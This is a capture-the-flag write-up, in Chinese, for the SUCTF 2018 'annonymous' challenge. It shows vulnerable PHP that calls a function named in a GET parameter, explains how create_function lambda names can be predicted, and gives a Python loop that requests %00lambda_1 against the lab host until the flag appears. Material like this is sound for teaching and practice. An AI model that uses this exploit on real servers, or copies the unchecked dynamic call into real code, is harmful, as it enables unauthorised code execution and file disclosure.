BUUCTF:[SUCTF 2018]annonymous

[SUCTF 2018]annonymous
在這裏插入圖片描述

 <?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
    ."global \$MY;"
    ."\$MY();"
    ."}");
if(isset($_GET['func_name'])){
    $_GET["func_name"]();
    die();
}
show_source(__FILE__); 

create_function()函數在創建之後會生成一個函數名爲:%00lambda_%d
%d是持續遞增的,這裏的%d會一直遞增到最大長度直到結束,通過大量的請求來迫使Pre-fork模式啓動
Apache啓動新的線程,這樣這裏的%d會刷新爲1,就可以預測了
寫個腳本一直去刷新訪問即可:

import requests
while True:
    r=requests.get('http://a10002f2-2091-47dc-9b7c-996d05cd4faa.node3.buuoj.cn/?func_name=%00lambda_1')
    if 'flag' in r.text:
        print(r.text)
        break
    print('Testing.......')

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章